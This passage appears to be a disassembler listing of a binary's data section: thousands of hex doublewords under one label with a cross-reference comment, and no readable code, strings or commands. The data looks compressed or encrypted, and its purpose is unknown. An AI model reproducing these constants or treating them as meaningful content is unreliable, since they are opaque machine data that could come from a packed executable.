9A5052AAh, 9F6CBBD3h dd 0F07233E9h, 9AB34750h, 0E33277F6h, 2B032127h, 0B3A6451h dd 0DC40A57Bh, 53350781h, 90158574h, 3DA96878h, 8662B99Ch dd 0A8997DFCh, 0F6DECA75h, 97DB62h, 0EC28F1BDh, 5360F4Ch dd 4C7D5512h, 1C07682h, 0DD588ABEh, 0E3E4EB3Fh, 0D9247824h dd 74ADB7E2h, 154110Ah, 0D4080AB2h, 5CCFF65Ah, 0F1D9018h dd 0E8C5C9C8h, 0CF626BDCh, 59BF003Eh, 8AC1D76Ah, 3773CDC7h dd 19DFEF6h, 0CBE9DE31h, 502A82A3h, 5F90B353h, 4A22AC7Ah dd 0B9A4F88h, 3A475CE8h, 194400A6h, 0F25A15BCh, 2ABBD208h dd 9B927A0h, 693079B2h, 82D50790h, 1EE8B880h, 8C5EF846h dd 0B914A133h, 56679909h, 1998037h, 0BE18141h, 2BCA643Fh dd 5BD68301h, 6FA9D36Ch, 0FEBA00B6h, 403D3F4Ch, 81B08398h dd 521AB1C1h, 578C3B60h, 0BDD844Ah, 52D85CB5h, 0F498C704h dd 9D07D4h, 0C1EFD1B5h, 440869E7h, 67F57D82h, 0FF49C2DFh dd 2806C12Bh, 0C55B53EDh, 0BC5E01B4h, 585A8B1Fh, 374091EAh dd 0D827383Ch, 0D8C3D839h, 91EA5E06h, 45AF4B07h, 77CB87E9h dd 9BDBFF3Bh, 29F4CDE5h, 8F061199h, 2B19BD19h, 5CBF9B0Ch dd 8384CC2Dh, 2BC2CFAh, 5AAA6818h, 82BC5D39h, 9C5E155h dd 5BA20D2Bh, 6850E847h, 0B365FE02h, 5C40584Ch, 96B4092Fh dd 0A24E1BD7h, 0A0B9D514h, 9758B01h, 1D105F47h, 2980C979h dd 4659B5CFh, 7522D56Bh, 5DC2F729h, 0D809D648h, 2F9C2051h dd 63E32E01h, 97404FA4h, 753D1D01h, 13284A6Fh, 7A2CFF42h dd 2C02583h, 6698D065h, 0BEB5E90Bh, 0A5762D2Bh, 59C622C9h dd 0F6677558h, 91B5B6Bh, 0AF9DD60h, 99D749h, 89EF053Ch dd 0A2D02151h, 56503615h, 2D80DAEBh, 0B6411493h, 0E0059118h dd 0BA148C1Eh, 61354180h, 9446730Dh, 0F3290AEAh, 0CFAB43C0h dd 10406B48h, 48056C0Ch, 0BFABF57h, 0B2D87FA4h, 6FEF44FEh dd 530174B3h, 562D77BBh, 0B9A02F22h, 1FE92506h, 966C681h dd 46807ACEh, 613FF681h, 8BE60A44h, 0D6F7FC25h, 2FC610CEh dd 192DA39Ch, 0F001E121h, 0EB205FDh, 0D609814Eh, 824715A7h dd 2AD5BF00h, 2DBE01F4h, 0FE5F0BECh, 0F5F981DDh, 0AC08353Ah dd 91FEB284h, 5D131AB9h, 5484AC0Ah, 0F31FF745h, 98806D93h dd 0B3174868h, 0CCA03B25h, 0E3D14312h, 3978D4A8h, 175B6169h dd 5F0B988h, 5D55796Eh, 4C7701FEh, 3A5A9A40h, 148C3E98h dd 920D6D3Ch, 4B40A106h, 360C8E09h, 0D2AC2CBFh, 0A01BD5Eh dd 294CC0E9h, 2058250Dh, 0F536A110h, 973B9C69h, 46DAF02Dh dd 0D1836BBDh, 0FA487863h, 33DE9505h, 5830FC25h, 0C99F6857h dd 38615FC8h, 200727A8h, 0F99DA81Eh, 80F627FEh, 5C180271h dd 55EB801Ch, 0CE2B3FEh, 106D87C0h, 4F57E9D4h, 85EBBDC9h dd 950BD501h, 2D8DE6EDh, 6596990Ch, 6CA2679Ah, 89BEE6F0h dd 1829DCC0h, 75E92465h, 89509D2Ch, 0AB989DE8h, 724F3D68h dd 0F38326BDh, 58176A05h, 74D1976Ch, 858C6EB0h, 918658C5h dd 3C210D04h, 0A0C1D5F7h, 8105665Fh, 3B9E99DAh, 0A5A52739h dd 68B59594h, 0B7737500h, 7FA59353h, 0B5C2B31Ch, 5CF8F1E9h dd 195E82BBh, 0E0756A66h, 0B8EFBDh, 1D4CC32h, 0B9B3E9FDh dd 21C44CBFh, 0E9893698h, 0B88020C1h, 4D705F7Ch, 3D10FB14h dd 7BC258A4h, 53322700h, 6924E0B9h, 0F2014FB3h, 1DE9C42Bh dd 5C5CB0h, 0FE39B151h, 80D9F6C9h, 304CF101h, 6198E9CEh dd 1782E63Ah, 9EE69987h, 2D080211h, 44535434h, 7BCAEA5Eh dd 0ECD75485h, 411AE81Dh, 3A08D4CCh, 5812FBEh, 7C9817CAh dd 0A27F0F61h, 0A2C21810h, 18F0EA5Dh, 0C787B65h, 0B42505B3h dd 12BE52F2h, 0EE3158C1h, 4A381392h, 10615DCAh, 0BFC05869h dd 52FD4A65h, 0F72877C1h, 0D158E13Fh, 0FD046B0Dh, 416BE76h dd 41EA1F80h, 685645C2h, 7F24D30h, 12E30874h, 0E41ECD83h dd 0F7272655h, 59E7A78h, 670DF3D0h, 0AE1C9009h, 2B2CFD7Eh dd 0F625FBE9h, 858272E8h, 50A397Bh, 1A476002h, 7F017D08h dd 2E016211h, 0F7F0610Bh, 0D695AB14h, 770A807Ah, 0DFF773F6h dd 3D3BB8B9h, 9881804h, 510C849Eh, 0C7D8A89Ah, 1EAF0A34h dd 20B0FA01h, 140CD008h, 0B461AC5Bh, 0B4D614B6h, 340FE16h dd 0E4FD26E9h, 59CA8995h, 0A2C3C477h, 0C439F2ACh, 0F9B7E984h dd 2FC74B2Eh, 59E46E71h, 0CDD2F22Ch, 32AC2FBBh, 938DAC4h dd 65ED85ADh, 0C10362E3h, 0AFD23E1h, 6A78D7F1h, 0BF72E228h dd 0D3EBC7E8h, 0A8982873h, 6ABF61EBh, 3D2498B4h, 0BFCB6187h dd 31685C68h, 4C557C7Dh, 0EFF107F9h, 0A07A315Dh, 0EEFAD297h dd 0AFDDE4ABh, 3F629121h, 68152F0h, 0AF256CF3h, 0A0B0C51h dd 2A03411Ah, 0D4CBB387h, 375E5A34h, 0E86D09B8h, 0D4FF1041h dd 0E2D180B9h, 142C574Ah, 0A181F9Eh, 0E953C45Ah, 5525B019h dd 40A2E692h, 0D6D06F6h, 6754A330h, 74C5E760h, 0B675D1F9h dd 0CAF2F817h, 3D812496h, 1EF1927h, 0E9EC703Eh, 9E9D445Eh db 0B6h byte_4E0049 db 20h, 6Bh, 53h ; DATA XREF: ___:0042CC94o dd 19B5511Eh, 57C29709h, 0C65D531Ah, 0AAC72037h, 4B9F6816h dd 2FEB29ABh, 0AB93D2B3h, 3977132Dh, 961E74Fh, 65D1DBE9h dd 0FD581381h, 5FE9B73Fh, 68DF4C42h, 80377F28h, 4BE03135h dd 770F1175h, 0E425546Bh, 0F5D44183h, 6FE339BAh, 0E90948CFh dd 0EE5FA010h, 5CE22571h, 817814D7h, 90583DCh, 7671AFAAh dd 0DE372F09h, 0BE5CBF9h, 5BE8403Ch, 0CDAAB65Fh, 9E2C7DCEh dd 480CC950h, 924A86CDh, 0D85FEB2Dh, 740CC5FAh, 5DAFC17Bh dd 0C2DD7B53h, 93438D7Bh, 5887395Ch, 6055010Ah, 6206CF7h dd 8F98730h, 0F0217448h, 7793409Eh, 1318CA63h, 8408189Dh dd 5FD71846h, 80731D80h, 4D806D05h, 1708C684h, 79311857h dd 887508DCh, 717C188Ch, 0B2630908h, 10D16018h, 10970A08h dd 3A10A4E9h, 0CC2C1083h, 3845D618h, 8C4698Bh, 0F2042ADEh dd 625B0458h, 306D7906h, 204DBF20h, 3B201B08h, 9FF3395h dd 2818CB19h, 0D0087BC9h, 3834809Bh, 0E11E20CCh, 108563FAh dd 8105C0Ah, 0C9108A42h, 91C4109Dh, 3051F418h, 13803CF0h dd 0EB7B8087h, 152218C4h, 8F99980Ch, 40C78D40h, 8CE9FB77h dd 8D5BE28h, 18476383h, 82A1A49h, 0FD2AD0BCh, 9040BC79h dd 84F63AAh, 28181845h, 96084003h, 51848197h, 0A8D60C94h dd 8C6C528h, 4011C6C5h, 31C441D4h, 790475DBh, 0CD9006E7h dd 12C1C409h, 1923047Ch, 88C08E0Ah, 780C4F94h, 40D3084Bh dd 2E66910Dh, 204854F9h, 0CF312DCBh, 7D18106Eh, 182CE01h dd 540229B3h, 8EC080A3h, 0B7D31818h, 80ED3908h, 20C60F05h dd 2008984Bh, 0D02049ECh, 1C3A201Eh, 30A0BE31h, 0F6012462h dd 0F86999A1h, 0E4515A08h, 1095B0CDh, 9F12C016h, 6C604875h dd 850EE0Ch, 30436393h, 8108BE7h, 0F7187B6Fh, 469920F4h dd 8C240C81h, 2080924Dh, 2832338Fh, 480C10BBh, 80BFF9ACh dd 0FCAA6334h, 4617E425h, 5159B0DCh, 0C4BC5E40h, 1368D319h dd 7A18C318h, 1FA1C8BDh, 15844408h, 602490DEh, 71239800h dd 18CC30B2h, 63EC995Fh, 6B4A0850h, 40AF2010h, 10D2BE19h dd 257024C3h, 62726F40h, 6D2B109Ch, 24BB502h, 0A84AE296h dd 55AAFC23h, 0E1150831h, 8BD9AB7h, 407DA4C9h, 2B40B353h dd 202C9242h, 0DB20227Ch, 0E06E3260h, 0BCA37138h, 1010F0DDh dd 0A31088CEh, 0AA1D18A6h, 807B7E08h, 20C481D8h, 0D01D8926h dd 0FD5A1BFBh, 2420EE91h, 9068512Eh, 29F73193h, 0DB01D11Ah dd 0A30895E9h, 9C6004B4h, 0A4C9E8FCh, 0D55CB02Eh, 8B1E4963h dd 0ED23C7C7h, 3B100046h, 2752C47h, 896313EBh, 7AA7B90Eh dd 105003Dh, 49408F44h, 7516C90Bh, 251C8BF7h, 3DE097Ah dd 1E6855F0h, 0FF0C033h, 304FB118h, 7204AC2Ch, 0F8D75A42h dd 360A1828h, 9BD552Eh, 28AB3C99h, 48B7027Dh, 0B3530197h dd 0BEF5E074h, 42F9DC95h, 688010A0h, 3D0327C2h, 460C2560h dd 4F317F02h, 0CC27A5E9h, 9AB20B1Fh, 72520830h, 2E444805h dd 149F5962h, 0E90C072Dh, 0E537CAF3h, 2BF3075Bh, 259A6A3Fh dd 0CC5F14CCh, 3F18973Ah, 0C5BE4E9h, 6AE89441h, 0C2EC7FC3h dd 9F59CE67h, 0E42D34B7h, 156BC981h, 0FC05169Ah, 3133C943h dd 9FDB965Dh, 13875104h, 0E9F1F4F9h, 6816D345h, 37C6E8C1h dd 0E1585F64h, 516809Ch, 0F30DB635h, 0FC42BD27h, 3F3A1280h dd 5AB71DFBh, 408839Ch, 5D76091Ch, 681DE025h, 19235F27h dd 0F1475E84h, 53EF7231h, 17A65770h, 0EEAC108Dh, 12EE5575h dd 0AB77D844h, 64314B5Fh, 0B33E82BCh, 375018DCh, 0F04B68D2h dd 5DAD2D9Fh, 65CFD8E3h, 0B455E6Dh, 0FBE41BB0h, 5A60C69Eh dd 69C5E992h, 8A7C20ADh, 39585D82h, 6455F6Fh, 0DDEB7989h dd 52C17313h, 511089E3h, 0ACBF80B9h, 0EC9813Fh, 23014AD3h dd 0C277E1C4h, 0F2783038h, 9FE80B4Ah, 38B868C2h, 94BA4FA0h dd 6195E54Eh, 0E4AD11B9h, 5720E27Ah, 0C7F94FEh, 0BD381890h dd 8375553Fh, 5DE8092Dh, 4F3A3452h, 7481BFD3h, 393A86F0h dd 6BB7F938h, 57581503h, 269FC154h, 0C6F6ED2Ah, 500AD796h dd 4A290ABAh, 2A8944D0h, 3C66F981h, 58382F69h, 36719589h dd 0F6C68860h, 387A95D6h, 0E927040Fh, 95263AE7h, 0C4AA0C65h dd 2301E75Bh, 0F7737048h, 0F9F851D7h, 1D98A329h, 0AF150AF2h dd 597122F4h, 836B116Fh, 640984h, 0BB60CA68h, 525B275Ch dd 0FDC3B4DEh, 0C77D3813h, 0D00D558Bh, 0A439757Eh, 7DCB69EBh dd 1FEE0323h, 35AC865Ah, 60F1C72Dh, 7B73FFA2h, 4BC0C99h dd 2C091BC3h, 0C5BFC8F4h, 5FA8843h, 280FC20Ah, 91092DD1h dd 21701971h, 51AFE95Bh, 60C7EA04h, 0A60A820h, 0B35C9509h dd 1FC23200h, 4C83E926h, 6CB6430Fh, 1041BB0Ah, 0F939A9DBh dd 79BF1ACBh, 8BFD05E7h, 0C46DE63Ch, 0AF948DE9h, 5FB02AAAh dd 52B026B8h, 7C3A1C68h, 0E95A86C8h, 518D4BDh, 0ED0C8005h dd 0D810BA2Eh, 5F5C5A07h, 6BDE73EFh, 4A63707Eh, 0B7FE5A3Bh dd 64EF9795h, 4F529182h, 753AB747h, 3EE1D883h, 20AEA6Dh dd 0EB454172h, 690CE8D3h, 5E6889B1h, 4095EDFCh, 4E18F093h dd 90AE337Bh, 0C9F0744h, 0E5463E9h, 0A93E6116h, 0C65B3807h dd 18984A82h, 8E5EF221h, 5A277756h, 97FF7052h, 0C59FAB0Fh dd 0E5DBC55Dh, 0BE352A6Eh, 0C3CDD8EBh, 0CC5F1609h, 9F3FC4Ch dd 83A07E0Ch, 0E7282CC7h, 78EBEFEAh, 0FE30C41Bh, 77B35994h dd 0F62AAD2h, 70FAC0B4h, 4EB58098h, 97EE283Ch, 85ED112Ch dd 0CD83818h, 6FFAD588h, 3033E292h, 0D4F81EEBh, 4E01FE17h dd 640A0588h, 8415E62h, 0B58CC41h, 0FBAD5207h, 0BB6049DEh dd 8410E6h, 53EB8175h, 506087DEh, 12A16804h, 82F23637h dd 751A0BC1h, 0A6BAC452h, 63431516h, 0C181B1C0h, 0F62018FAh dd 678D0C13h, 0FC6BC43Fh, 88316B8h, 0A51953A9h, 0C4A67D94h dd 9571FBB0h, 0F7F7E0BFh, 0CAC095D0h, 0C3307532h, 0F34D5456h dd 25FEC53Eh, 3299CD97h, 0F2387CC5h, 0B7724877h, 5A88D4D4h dd 3C741FC3h, 0DE01CB48h, 259D96DFh, 50E657BAh, 8031AC24h dd 54A77497h, 7EFC207Fh, 2FA6B800h, 556811EDh, 6004B42Ah dd 58B962B3h, 5F5CD2C1h, 0BC40126Bh, 1AA32B25h, 9ACB2934h dd 37F2080Bh, 0DCC4435Bh, 8027CDABh, 0D868531Ah, 0A061691Ah dd 9D64C7F4h, 98BD0DDBh, 0F3F537C1h, 5DFA0702h, 0DFD8293Ah dd 2A40E132h, 8399D9E6h, 1AAA6057h, 0D829FECBh, 0D7E60B94h dd 815FFE03h, 0E216DA77h, 0A5FD8031h, 0B3071172h, 0B607851Fh dd 883B8518h, 0D9E195EAh, 1A4E10B2h, 0DAB25D7Ah, 20882D5Fh dd 671F660Ah, 0F50F2F7Eh, 134625F7h, 0EC7810BCh, 0BAA0482Eh dd 15F0E506h, 0ED054026h, 2D90DD7Eh, 0C44004AAh, 6B41FE7Ah dd 6FD1456h, 3CA184EFh, 7D4FE22Bh, 7D896018h, 2FD1F6D8h dd 1054F441h, 971ACD38h, 55C884E1h, 0EA42D28Fh, 0F54AE6CFh dd 0B5623EC2h, 6BD6D9h, 0F91740Dh, 5602E2D1h, 8C27EFBEh dd 30005D78h, 7101AAC6h, 0A3E92E12h, 0E2089140h, 3EA8058h dd 28DB2CCEh, 0E9A104D0h, 0C6C77ECCh, 0A3AF21F4h, 5B914B79h dd 886EF7D6h, 0E234E9F2h, 57F910E7h, 0A135DE04h, 4DEFD62h dd 46F0148Eh, 981782h, 1B1EF8BDh, 0E5C16814h, 0B5F503BBh dd 0B04A5213h, 375ABBCDh, 601820CCh, 2DEBEFFEh, 712EBD17h dd 0D2BF5C1Dh, 41E85081h, 61BC7A00h, 0BCDBF57h, 0E9203F93h dd 0AE012A13h, 0ED4A47CBh, 289C84B1h, 11D9CCBAh, 0DD011325h dd 144B0E9Ch, 91CB4821h dd 51C28C2Eh, 9EF5997h, 59274D8Dh, 7A0F29D9h, 0A4891449h dd 0B0DCCE75h, 853818B0h, 456A0C23h, 156530Fh, 0ED95B7F9h dd 168D2710h, 12B86FDCh, 0A9226E18h, 791E5FEAh, 0F6CC30FCh dd 77313033h, 5834E5C2h, 9069229h, 335A140Ah, 0C78FF705h dd 62F30907h, 627E8402h, 12625E40h, 68024E08h, 2098AA9Ch dd 0F49559EFh, 5B39BD43h, 83BF4CE0h, 0A4B0752Bh, 4161C700h dd 17E935CBh, 0FDCCBF42h, 875F5690h, 2F1B6B0h, 0F4DB276Dh dd 0F041CF31h, 565902B6h, 1B484325h, 5B2BE84h, 10990502h dd 6AEA5292h, 685E0700h, 0E8BC2437h, 4A2CF063h, 0E5A7B9A0h dd 0A4800C64h, 4ACB756Ch, 0C9E534h, 7CE95F08h, 0B731714Eh dd 0A36EF820h, 6FB7154Bh, 1257841h, 0E015184Ch, 78C5064Fh dd 73353AE9h, 0BBFF104h, 0E4BA249Fh, 1604D8EBh, 0D1E90E99h dd 0FBA61B0h, 171C7CC4h, 14CF0346h, 97685F0Bh, 5617996Eh dd 923350FCh, 40F70011h, 5D0F7836h, 881283BEh, 9AED293h dd 0E12E3209h, 0C581CDE0h, 526235E1h, 0AB25Eh, 0BE6520B8h dd 540F717Dh, 0E47E594Fh, 8CAF2B87h, 515EED98h, 0DC9959D1h dd 0B45B5DC2h, 47877E69h, 0B5011432h, 76BE067h, 0B3800082h dd 0B2FB136Fh, 175A4E1Ch, 5643CB7Fh, 0D3135BAAh, 791E29BBh dd 67E9C5BBh, 3F6E44FAh, 5D31BBF7h, 42FC7D3Ah, 13E39881h dd 0EE4A2532h, 869572Fh, 479BD700h, 0BF010558h, 4443B9EBh dd 7A20DF29h, 7D4516EEh, 0CA1FE052h, 3DC1090Ah, 0BE0EC901h dd 4724BC34h, 0E0EB4C6Ch, 0FD0A4DA3h, 2A081549h, 96201F95h dd 0C4530882h, 7EE408h, 6E5DDDBAh, 0E2098150h, 86A462FEh dd 1210DAD4h, 49C0473h, 10D44DD6h, 0CC28AD75h, 405D7110h dd 7D823FE6h, 0F6939F10h, 622F5981h, 0F5CA5690h, 0D706E255h dd 0C544D498h, 9A041AC7h, 0A72CD003h, 4849DCB2h, 1861C167h dd 0D41194Bh, 7798CEB7h, 222B5E32h, 0FBE3575Ah, 0A82C4414h dd 2FA941F3h, 0CCBE6D65h, 0B841E598h, 0C8D7A22Ah, 0E9EDB01Ch dd 0F39759F8h, 86A7BDEBh, 0FDCA70Bh, 9C60501h, 10BF0BDFh dd 0AF0DC992h, 5C25E38Bh, 0AA085156h, 5EBF0113h, 4037F539h dd 9C080AB8h, 0E7C14902h, 68A0E905h, 0EECD01C3h, 4DA867FFh dd 3F2AC2C3h, 0B10B18E6h, 9CB2847h, 5F8A6245h, 7D6CC210h dd 42A6A59h, 315E0A29h, 67A64381h, 58017BC4h, 5517B5CEh dd 0E5B3E1h, 0CA2184B9h, 0C586B832h, 0BAC8310Bh, 2778BD21h dd 0EC5B75DAh, 48C88E0Dh, 89E8217Eh, 0D58204F5h, 4E187F39h dd 66BD32E6h, 0EEF76940h, 0A6C76884h, 81407699h, 88F63C80h dd 7680E727h, 0E829665Ah, 89323CE7h, 0D2678402h, 8C04EF16h dd 7FF53396h, 0C8C1721h, 90B0EC88h, 0C3A6F41h, 0E4675A17h dd 0B753BF00h, 52EFD089h, 0C04600B2h, 0CAFE06EAh, 0A9B8D2F6h dd 0D728C212h, 35A04104h, 0EDBC4795h, 9899927h, 65DCD7Fh dd 0ADA64E9h, 0D84E5D90h, 0A85EF3BCh, 7864B297h, 0B25C5BD9h dd 50604CF4h, 3A48D2E2h, 0D98321Fh, 0CE5FD01h, 864171A5h dd 500936E9h, 7E772C39h, 57EC6825h, 9351F791h, 0B5ED70F2h dd 0D867A73h, 0DFE977B5h, 0C847EB5h, 21F4CE8Dh, 85CAAB25h dd 5B59C902h, 6D574030h, 215BB551h, 0DF3CC862h, 294BDD96h dd 56D3CCBDh, 2E00EEA9h, 0E9687A05h, 4A22BD6Fh, 4F0AF454h dd 0B9E8D70Ah, 5E53AB4Fh, 0B2E60160h, 3E0BB74Bh, 0DA9DF7D1h dd 12DDCD8h, 495E76BCh, 7B127FE9h, 0A04A70CEh, 0F1FC3ADh dd 0DEC606ECh, 5B84525Bh, 5EA5A21Ah, 0EAC4D9B1h, 805C9A31h dd 97CE15CBh, 0CF685940h, 0FEADBBFh, 28D24665h, 98925610h dd 0FCE99497h, 73D56EEAh, 0B12F07C9h, 0F9F3D364h, 1220267Eh dd 1D780581h, 40E848B2h, 0C369C03Bh, 479575DFh, 1F35D89Dh dd 0BE7C5BA7h, 38D6E909h, 5D683821h, 16E7607h, 4C9F1C76h dd 0E8824F5Fh, 0B360E38Fh, 5AC09383h, 0B1E953B8h, 0B936B06Ah dd 75324C0Ch, 6BD009C2h, 0C0480F61h, 79E13A29h, 0F3AC4EBFh dd 2A24A14Ch, 4250039h, 0F73D8752h, 135D03Fh, 3139299Ah dd 0F06F58C1h, 0FB6525B1h, 0D55C42h, 6AAEF8D8h, 8097C05h dd 5BEF842h, 6C6B7519h, 8F450FEh, 7B6E3E60h, 0ECA0061Dh dd 7E95E03Bh, 530ACC32h, 7F802294h, 8133A677h, 2A50BE7h dd 487054D9h, 42C808E4h, 0E0003DCDh, 7559BE56h, 16FA63D8h dd 29356E4Bh, 54C2D8BEh, 4BE975CFh, 4534553Ch, 6FAD86A0h dd 0D86A292Dh, 0DE12A91h, 48C507B8h, 8F64AF70h, 0AC604E9Fh dd 195C2716h, 9ED7C0DDh, 2632D406h, 0C9169715h, 6802127Ch dd 0A08650FBh, 443F0F32h, 62B0474Ch, 0FE1ACB62h, 92E1D5C0h dd 6538ED43h, 8D1CFB4h, 9175E280h, 0F2386776h, 3886809h dd 3D61985Dh, 16EB2D80h, 2108D27Ch, 62350EAEh, 0D3ACB20h dd 6C4C05A2h, 72C10537h, 258460ABh, 33123A1h, 5BC38B3Fh dd 0D909A18Bh, 0A654012Eh, 81FA5344h, 0F236A5D3h, 0F925C579h dd 5CEB001Eh, 5611D46Fh, 5212E91Ah, 385A5518h, 6F7EAA92h dd 39B225F2h, 6848FBF4h, 65305E2Eh, 5CFA2E76h, 8D00C765h dd 4A735150h, 0D3E4DA31h, 875608D9h, 0ADFA053Eh, 1246E85Bh dd 74FEFC94h, 3FA0EF1Ch, 0A52B534Ah, 160F3650h, 10603Fh dd 9143A7FEh, 0EC24E5Ch, 80FF4202h, 2606E692h, 180D6012h dd 0DB61A89Ch, 0F7B7E92Ah, 0E97815B6h, 0BF1940D2h, 471E9009h dd 0E9E0D55Dh, 741A99F7h, 0FD126428h, 0CCDAE161h, 0EAFE444Bh dd 0EB33820Bh, 9EF90678h, 0B1511E44h, 0B7B51530h, 26FC0925h dd 0AD7DDB1Fh, 80DE00E0h, 0E6C0FCEEh, 0EA0CC906h, 923CDFDEh dd 3F1004E8h, 1AE90C02h, 955934BCh, 52E1547Bh, 1E270117h dd 1041207Bh, 2D13B87Ch, 2BB09F7h, 3C606D3Fh, 520832E1h dd 15E15980h, 60C73A16h, 71847F0Eh, 0A7AB011Ch, 3C4E1FE1h dd 0CF20DE2Dh, 161B8466h, 2C77B148h, 280F9ECCh, 55A3A6E3h dd 0ADBB0164h, 2910921Bh, 759CF1DFh, 72CB3038h, 0C3E59990h dd 0AFC3063Bh, 4E54F059h, 0E2441603h, 0BA21D68Eh, 4274AA0Bh dd 19687DB0h, 528F2C2Bh, 3BF3FC8Eh, 68208B6h, 0C00FD655h dd 64471B1Eh, 0F1778AF6h, 83A63E8Ch, 0BB65404Eh, 1A3A2346h dd 8A134790h, 46EF9035h, 0C41EE23Fh, 3ED72D09h, 0C396E138h dd 0B8508A6Dh, 47750F22h, 0E897291Ah, 787E01C7h, 1BE90B98h dd 0AC405928h, 9BD04D92h, 7B3AE15Bh, 0BE9682B3h, 0C2163564h dd 0A6E57BBCh, 32683C28h, 0CBF8D96Ch, 0F01EA98Dh, 0B417A82Ah dd 0F4C61CC1h, 1CD50CA5h, 0FC05A1A5h, 8CD4952Ch, 0BD37287Ch dd 3AC268F2h, 2AE90908h, 0C257AC62h, 43CCF537h, 4358C314h dd 0E70C049Dh, 0B880321Bh, 4BE02467h, 0F2FA000Fh, 0C58BFAAFh dd 5909014Ah, 981B7074h, 10994AD7h, 1E07B908h, 0B33F173Eh dd 234E6418h, 648085F5h, 69C34B7h, 0E90BDA29h, 9301425Fh dd 3587C17Ch, 0AE93982Ch, 8FE0CC35h, 0BA2F40C9h, 0DF03FF69h dd 0B5F560Bh, 0C280805h, 0E00DCE96h, 0B43F3F86h, 6912851Ah dd 7402715h, 629C4E09h, 0E905A0BAh, 0C494826h, 0DB202286h dd 21B9F22Ch, 0A30A1913h, 62A55396h, 2D33D828h, 137C5401h dd 0EF28E4EFh, 0C1E240BBh, 0C9531F0Ch, 830860B4h, 54452F9Bh dd 0A9C5EADh, 0BB8244E9h, 5B0B4A58h, 2103D02Fh, 772243B4h dd 2E40956Ch, 98947795h, 48740BCBh, 1485E201h, 0B0087313h dd 0E14E9842h, 63803A51h, 0B77134E9h, 0F342CFF9h, 7765DD69h dd 0A85330Dh, 69CFCF2Fh dd 8C4B455Ah, 0D8BFEEA0h, 8195A9B8h, 0E88340C1h, 0C99762EAh dd 3AD02DEBh, 8920178Bh, 0E97620C6h, 0D2D118AAh, 4ABC97B6h dd 0EA4F23Ch, 0D4FE1492h, 2CD804DCh, 0DE4FB0C9h, 0DBEAC03Dh dd 2C3F0DA1h, 84E1318h, 0E9B69230h, 2FB3BED7h, 2F312FD9h dd 0C9475854h, 0BD07A594h, 7E18C141h, 0F10547BBh, 2E0129A7h dd 2DC329BDh, 0FE9D0354h, 0FCAB0BC0h, 0B1E92FD2h, 0EDC24B20h dd 9A4F23CDh, 95D9FBA4h, 8D76E1C3h, 0BF000C5Ah, 0ED408EBAh dd 12089814h, 0B07E7D42h, 0C3124848h, 11FF0C6Eh, 50C1D12Fh dd 2D9831E9h, 9D941608h, 0F5125EEDh, 40E9894Ah, 2B3C0F19h dd 0D8356ABDh, 0C24E4E30h, 3AC15D28h, 0CB4E2CF0h, 0BB23245Eh dd 8513EE34h, 0E9B3BDA8h, 17E577B2h, 583C5E27h, 0A0BA456Bh dd 5E04D26Ah, 0F10A051Bh, 8E7C6C88h, 0E62C91A6h, 766AD827h dd 0F720C01Ah, 4A7992B2h, 1ED4908h, 9711DA2Dh, 40A1D46Eh dd 7A4A3Dh, 24761328h, 3A4E1605h, 60825C32h, 526A5702h dd 0B4F165Fh, 224E5697h, 6B84B4DAh, 4198FBB8h, 876ACA3Eh dd 0F8895027h, 323ACC3Ah, 0F759BA01h, 0E907506Fh, 7F091417h dd 2C988B66h, 111A717h, 0CD343F8h, 0C643D245h, 713BBD0Ch dd 2330C3Ch, 0E94B5E75h, 0EC4622CFh, 2AA3504Bh, 138CE397h dd 2C4555E9h, 76C3F309h, 0EF650316h, 2A5650C9h, 0A7073ED9h dd 7ADC8Eh, 6E4433FFh, 40F3D729h, 127CA582h, 0BDE97512h dd 0CA2036A1h, 290DC1EBh, 51555BDDh, 22B5A65h, 0D643DFB3h dd 0E3C0C390h, 3848025Ch, 5BD917A1h, 229BB2A0h, 0E92DF130h dd 62800491h, 1B957E0h, 4A717E84h, 283FB268h, 1D29C1BEh dd 0B940213Bh, 13AF0B63h, 0E453E96Dh, 0F90CF353h, 0C3E6C66h dd 31331604h, 0DE7E0274h, 1A620D98h, 0E98E0356h, 0ED39589Dh dd 45441E3Bh, 84A6CC41h, 0A5772C16h, 0D25E0125h, 0FE189066h dd 17882F46h, 724AA4D8h, 25822413h, 2D27767Ch, 68E18D59h dd 642B743Dh, 0F35D8116h, 71AB4439h, 0AF08DFE3h, 0E51F4816h dd 7333250Ah, 9ACC5B78h, 16EABF08h, 0AB7D8Dh, 34EDF272h dd 0ED9056ECh, 0F3192901h, 47D7F720h, 16652130h, 0FE2CE67Ah dd 2B8F0E49h, 13B49C30h, 0EBF24CE9h, 3C92B974h, 41752936h dd 6AC47BEDh, 4ECBFA3Ah, 0FCABD997h, 729A5C64h, 2A7198C0h dd 30811626h, 0E90D75F7h, 5E95424Dh, 0D69A5B69h, 555121FDh dd 0BC9D653Dh, 0CDECAD67h, 0E837029Dh, 0C127C630h, 0A6194270h dd 45C68226h, 6154B234h, 0E73BFC3Fh, 0A565EEEh, 25DA6800h dd 37E964E3h, 0F0D3D0F4h, 315A5D36h, 2F1E6495h, 297145EBh dd 9609688Eh, 403A97CCh, 200704A6h, 0D8F6C8FEh, 5CF7C047h dd 83B1D064h, 0F0E9168Bh, 6BFCAE0h, 50754439h, 2B179ECCh dd 22C2017Ch, 0F60889E9h, 749F059Eh, 0C3B40934h, 0E5555FC2h dd 0F1888C65h, 0EA5FB7B0h, 2CA25DFCh, 49CEF37Dh, 9D7E9657h dd 3913726Ch, 64EB010Dh, 6DD0BECDh, 0ACA4584h, 0D8B85070h dd 31DD3AE1h, 0AF33502h, 62771917h, 0DF29CAE5h, 0B4FFFE09h dd 0A9CD5DB3h, 53BFB05Eh, 89BB683Ah, 5F5B5D19h, 38AB5711h dd 4E14A0Fh, 96FF6EE0h, 739B802Dh, 44297D70h, 40182FCBh dd 9055B68h, 104A1663h, 4D13A078h, 36EF0109h, 65B008CEh dd 0E169147Fh, 2B280BCh, 9F0C8079h, 2D06940Ch, 22630AA2h dd 472AC269h, 9541AA5Fh, 0E9109A58h, 5F7BF243h, 0A03AE91Ch dd 0A64A32E9h, 0B25598D8h, 1FE3BF4Eh, 0B7EC38h, 33251CA5h dd 6716D021h, 8866D8F7h, 27F8BE01h, 0AD6D1C5Ch, 6C7D3104h dd 4E98807Bh, 0B7C4B49h, 25F5E205h, 0F591791Ah, 40AF12AEh dd 0D73409EFh, 7CF75882h, 0C15A4D99h, 2F4ED139h, 27BD8580h dd 0E446092h, 0B24DDAC2h, 21E93509h, 2E2E819h, 6C0B274Ch dd 80AA14Ah, 3525169Bh, 0B13DA8BBh, 4043F53Eh, 51D9DAF3h dd 0F9FE638Dh, 4FF66F02h, 